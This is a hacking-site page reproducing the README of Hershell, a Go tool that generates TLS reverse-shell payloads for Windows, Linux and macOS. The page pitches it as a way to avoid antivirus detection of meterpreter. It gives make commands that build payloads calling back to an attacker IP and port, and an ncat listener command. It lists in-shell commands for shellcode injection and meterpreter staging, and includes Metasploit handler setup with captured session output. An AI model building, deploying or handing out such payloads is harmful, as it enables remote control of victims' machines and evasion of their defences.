Hershell - Multiplatform Reverse Shell Generator - Hacking Land

Simple TCP reverse shell written in Go.
It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.
Supported OS are:

Windows
Linux
Mac OS
FreeBSD and derivatives

Why ?
Although meterpreter payloads are great, they are sometimes spotted by AV products.
The goal of this project is to get a simple reverse shell, which can work on multiple systems.

How ?
Since it's written in Go, you can cross compile the source for the desired architecture.

Getting started & dependencies
As this is a Go project, you will need to follow the official documentation to set up your Golang environment (with the $GOPATH environment variable).
Then, just run go get github.com/lesnuages/hershell to fetch the project.

Building the payload
To simplify things, you can use the provided Makefile. You can set the following environment variables:

GOOS : the target OS
GOARCH : the target architecture
LHOST : the attacker IP or domain name
LPORT : the listener port

For the GOOS and GOARCH variables, you can get the allowed values here.
However, some helper targets are available in the Makefile:

depends : generate the server certificate (required for the reverse shell)
windows32 : builds a windows 32 bits executable (PE 32 bits)
windows64 : builds a windows 64 bits executable (PE 64 bits)
linux32 : builds a linux 32 bits executable (ELF 32 bits)
linux64 : builds a linux 64 bits executable (ELF 64 bits)
macos32 : builds a mac os 32 bits executable (Mach-O)
macos64 : builds a mac os 64 bits executable (Mach-O)

For those targets, you just need to set the LHOST and LPORT environment variables.

Using the shell
Once executed, you will be provided with a remote shell. This custom interactive shell will allow you to execute system commands through cmd.exe on Windows, or /bin/sh on UNIX machines.
The following special commands are supported:

run_shell : drops you an system shell (allowing you, for example, to change directories)
inject <base64 shellcode> : injects a shellcode (base64 encoded) in the same process memory, and executes it
meterpreter [tcp|http|https] IP:PORT : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)
exit : exit gracefully

Usage
First of all, you will need to generate a valid certificate:

$ make depends
 openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
 Generating a 4096 bit RSA private key
 ....................................................................................++
 .....++
 writing new private key to 'server.key'
 -----
 cat server.key >> server.pem

For windows:

# Predifined 32 bit target
 $ make windows32 LHOST=192.168.0.12 LPORT=1234
 # Predifined 64 bit target
 $ make windows64 LHOST=192.168.0.12 LPORT=1234

For Linux:

# Predifined 32 bit target
 $ make linux32 LHOST=192.168.0.12 LPORT=1234
 # Predifined 64 bit target
 $ make linux64 LHOST=192.168.0.12 LPORT=1234

For Mac OS X

$ make macos LHOST=192.168.0.12 LPORT=1234

Examples

Basic usage
One can use various tools to handle incomming connections, such as:

socat
ncat
openssl server module
metasploit multi handler (with a python/shell_reverse_tcp_ssl payload)

Here is an example with ncat:

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
 Ncat: Version 7.60 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 172.16.122.105.
 Ncat: Connection from 172.16.122.105:47814.
 [hershell]> whoami
 desktop-3pvv31a\lab

Meterpreter staging
WARNING: this currently only work for the Windows platform.
The meterpreter staging currently supports the following payloads :

windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

To use the correct one, just specify the transport you want to use (tcp, http, https)
To use the meterpreter staging feature, just start your handler:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
 [14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
 payload => windows/x64/meterpreter/reverse_https
 [14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
 lhost => 172.16.122.105
 [14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
 lport => 8443
 [14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
 HandlerSSLCert => ./server.pem
 [14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
 [*] Exploit running as background job 0.
 
 [*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.1   6.122.105:8443
 [14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Then, in hershell, use the meterpreter command:

[hershell]> meterpreter https 172.16.122.105:8443

A new meterpreter session should pop in msfconsole:

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
 [*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
 [*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
 
 [14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
 
 Active sessions
 ===============
 
   Id  Name  Type                     Information                            Connection
   --  ----  ----                     -----------                            ----------
   1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
 
 [14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/   handler) > sessions -i 1
 [*] Starting interaction with 1...
 
 meterpreter > getuid
 Server username: DESKTOP-3PVV31A\lab